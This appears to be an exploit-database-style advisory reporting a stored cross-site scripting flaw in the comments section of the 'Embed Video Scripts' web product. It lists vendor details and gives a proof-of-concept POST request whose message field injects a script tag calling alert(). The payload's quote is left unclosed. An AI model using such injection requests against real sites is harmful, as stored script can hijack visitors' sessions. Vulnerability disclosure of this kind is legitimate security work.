Embed Video Scripts - Persistent Cross-Site Scripting

# Exploit Title: Embed Video Scripts - Cross-site Script (stored)
# Google Dork: N/A
# Date: 1 Jan 2019
# Exploit Author: Deyaa Muhammad
# Author EMail: contact [at] deyaa.me
# Author Blog: http://deyaa.me
# POC Video: https://youtu.be/2CFJLwkxpT8
# Vendor Homepage: https://codeawesome.in/embed/
# Software Link: https://codecanyon.net/item/embed-video-scripts/20831073
# Demo Website: https://codeawesome.in/embed/
# Version: N/A
# Tested on: WIN7_x68/Linux
# CVE : N/A

# Description:
A stored xss found in "Embed Video Scripts" comments section.

# POC Request:

:method: POST
:authority: server
:scheme: https
:path: /embed/comments
content-length: 145
accept: */*
origin: https://server
x-requested-with: XMLHttpRequest
user-agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
content-type: application/x-www-form-urlencoded; charset=UTF-8
accept-encoding: gzip, deflate, br
accept-language: en-US,en;q=0.9
cookie: __cfduid=de9f1151befbf3ccdb372b7c1afb0a3bb1546252540
cookie: _tccl_visitor=208f2702-6472-41aa-b129-088a32f1eda6
cookie: _tccl_visit=208f2702-6472-41aa-b129-088a32f1eda6

message=<script>alert('Deyaa)</script>&post_id=1&save=1&avatar=https%3A%2F%2Fserver%2Fembed%2Fassets%2Fimages%2Favatar%2F1.png